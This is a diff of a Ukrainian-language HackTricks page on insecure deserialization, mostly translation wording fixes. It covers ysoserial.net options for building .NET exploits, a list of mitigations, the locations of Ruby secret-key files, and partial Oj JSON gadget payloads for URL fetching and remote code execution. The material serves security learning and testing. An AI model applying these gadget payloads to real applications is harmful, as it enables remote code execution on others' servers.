* **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому, якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._
|
||||||
* **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState
|
* **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState.
|
||||||
|
|
||||||
#### Більше параметрів ysoserial.net
|
#### Більше параметрів ysoserial.net
|
||||||
|
|
||||||
* `--minify` надасть **менше корисне навантаження** (якщо можливо)
|
* `--minify` надасть **менше корисне навантаження** (якщо це можливо)
|
||||||
* `--raf -f Json.Net -c "anything"` Це вказуватиме всі гаджети, які можна використовувати з наданим форматором (`Json.Net` у цьому випадку)
|
* `--raf -f Json.Net -c "anything"` Це вказуватиме всі гаджети, які можна використовувати з наданим форматером (`Json.Net` у цьому випадку)
|
||||||
* `--sf xml` ви можете **вказати гаджет** (`-g`) і ysoserial.net буде шукати формати, що містять "xml" (без урахування регістру)
|
* `--sf xml` ви можете **вказати гаджет** (`-g`), і ysoserial.net шукатиме форматери, що містять "xml" (без урахування регістру)
|
||||||
|
|
||||||
**Приклади ysoserial** для створення експлойтів:
|
**Приклади ysoserial** для створення експлойтів:
|
||||||
```bash
|
```bash
|
||||||
|
@ -699,8 +701,8 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||||
return obj;
|
return obj;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
In the **попередньому коді є вразливість до створеного експлойту**. Тож, якщо ви знайдете щось подібне в .Net додатку, це означає, що, ймовірно, цей додаток також вразливий.\
|
У **попередньому коді є вразливість до створеного експлойту**. Тож, якщо ви знайдете щось подібне в .Net додатку, це означає, що, ймовірно, цей додаток також вразливий.\
|
||||||
Отже, **параметр `--test`** дозволяє нам зрозуміти, **які частини коду є вразливими** до експлойту десеріалізації, який **може створити ysoserial.net**.
|
Отже, параметр **`--test`** дозволяє нам зрозуміти, **які частини коду вразливі** до експлойту десеріалізації, який може створити **ysoserial.net**.
|
||||||
|
|
||||||
### ViewState
|
### ViewState
|
||||||
|
|
||||||
|
@ -714,9 +716,9 @@ In the **попередньому коді є вразливість до ств
|
||||||
* **Для `JSON.Net` встановіть `TypeNameHandling` на `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
* **Для `JSON.Net` встановіть `TypeNameHandling` на `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||||
* **Уникайте використання `JavaScriptSerializer` з `JavaScriptTypeResolver`.**
|
* **Уникайте використання `JavaScriptSerializer` з `JavaScriptTypeResolver`.**
|
||||||
* **Обмежте типи, які можуть бути десеріалізовані**, розуміючи вроджені ризики з типами .Net, такими як `System.IO.FileInfo`, які можуть змінювати властивості файлів сервера, що потенційно призводить до атак відмови в обслуговуванні.
|
* **Обмежте типи, які можуть бути десеріалізовані**, розуміючи вроджені ризики з типами .Net, такими як `System.IO.FileInfo`, які можуть змінювати властивості файлів сервера, що потенційно призводить до атак відмови в обслуговуванні.
|
||||||
* **Будьте обережні з типами, які мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована.
|
* **Будьте обережні з типами, що мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована.
|
||||||
* **Надійно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
|
* **Надійно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
|
||||||
* **Впровадьте контролі білого списку** за допомогою кастомного `SerializationBinder` для `BinaryFormatter` та `JSON.Net`.
|
* **Впровадьте контролі білого списку** за допомогою кастомного `SerializationBinder` для `BinaryFormatter` і `JSON.Net`.
|
||||||
* **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не інстанціюють такі типи.
|
* **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не інстанціюють такі типи.
|
||||||
* **Ізолюйте потенційно ризикований код** від коду з доступом до Інтернету, щоб уникнути експонування відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` в WPF додатках, до ненадійних джерел даних.
|
* **Ізолюйте потенційно ризикований код** від коду з доступом до Інтернету, щоб уникнути експонування відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` в WPF додатках, до ненадійних джерел даних.
|
||||||
|
|
||||||
|
@ -731,7 +733,7 @@ In the **попередньому коді є вразливість до ств
|
||||||
|
|
||||||
У Ruby серіалізація здійснюється за допомогою двох методів у бібліотеці **marshal**. Перший метод, відомий як **dump**, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Навпаки, другий метод, **load**, використовується для повернення байтового потоку назад в об'єкт, процес, відомий як десеріалізація.
|
У Ruby серіалізація здійснюється за допомогою двох методів у бібліотеці **marshal**. Перший метод, відомий як **dump**, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Навпаки, другий метод, **load**, використовується для повернення байтового потоку назад в об'єкт, процес, відомий як десеріалізація.
|
||||||
|
|
||||||
Для забезпечення безпеки серіалізованих об'єктів **Ruby використовує HMAC (код автентифікації повідомлень на основі хешу)**, що забезпечує цілісність та автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць:
|
Для забезпечення безпеки серіалізованих об'єктів **Ruby використовує HMAC (Hash-Based Message Authentication Code)**, що забезпечує цілісність і автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць:
|
||||||
|
|
||||||
* `config/environment.rb`
|
* `config/environment.rb`
|
||||||
* `config/initializers/secret_token.rb`
|
* `config/initializers/secret_token.rb`
|
||||||
|
@ -856,7 +858,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||||
|
|
||||||
Існують інші бібліотеки Ruby, які можна використовувати для серіалізації об'єктів, і тому їх можна зловживати для отримання RCE під час небезпечної десеріалізації. Наступна таблиця показує деякі з цих бібліотек та метод, який вони викликають з завантаженої бібліотеки щоразу, коли вона десеріалізується (функція для зловживання для отримання RCE в основному):
|
Існують інші бібліотеки Ruby, які можна використовувати для серіалізації об'єктів, і тому їх можна зловживати для отримання RCE під час небезпечної десеріалізації. Наступна таблиця показує деякі з цих бібліотек та метод, який вони викликають з завантаженої бібліотеки щоразу, коли вона десеріалізується (функція для зловживання для отримання RCE в основному):
|
||||||
|
|
||||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Бібліотека</strong></td><td><strong>Вхідні дані</strong></td><td><strong>Метод запуску всередині класу</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Бінарний</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (клас потрібно помістити в hash(map) як ключ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (клас потрібно помістити в hash(map) як ключ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (клас потрібно помістити в hash(map) як ключ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([див. примітки щодо json_create в кінці](#table-vulnerable-sinks))</td></tr></tbody></table>
|
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Бібліотека</strong></td><td><strong>Вхідні дані</strong></td><td><strong>Метод запуску всередині класу</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Бінарні</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (клас потрібно помістити в hash(map) як ключ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (клас потрібно помістити в hash(map) як ключ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (клас потрібно помістити в hash(map) як ключ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([див. примітки щодо json_create в кінці](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||||
|
|
||||||
Базовий приклад:
|
Базовий приклад:
|
||||||
```ruby
|
```ruby
|
||||||
|
@ -880,7 +882,7 @@ puts json_payload
|
||||||
# Sink vulnerable inside the code accepting user input as json_payload
|
# Sink vulnerable inside the code accepting user input as json_payload
|
||||||
Oj.load(json_payload)
|
Oj.load(json_payload)
|
||||||
```
|
```
|
||||||
У випадку спроби зловживання Oj, вдалося знайти клас гаджета, який всередині своєї функції `hash` викликатиме `to_s`, що викликатиме spec, який викликатиме fetch\_path, що дозволяло змусити його отримати випадкову URL-адресу, надаючи чудовий детектор таких незахищених вразливостей десеріалізації.
|
У випадку спроби зловживання Oj, вдалося знайти клас гаджета, який всередині своєї функції `hash` викликає `to_s`, що викликає spec, який викликає fetch\_path, що дозволяло зробити так, щоб він отримував випадкову URL-адресу, надаючи чудовий детектор таких незахищених вразливостей десеріалізації.
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"^o": "URI::HTTP",
|
"^o": "URI::HTTP",
|
||||||
|
@ -889,7 +891,7 @@ Oj.load(json_payload)
|
||||||
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
|
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Більше того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на кшталт:
|
Крім того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на кшталт:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"^o": "Gem::Resolver::SpecSpecification",
|
"^o": "Gem::Resolver::SpecSpecification",
|
||||||
|
@ -923,7 +925,7 @@ Oj.load(json_payload)
|
||||||
|
|
||||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
Loading…
Reference in a new issue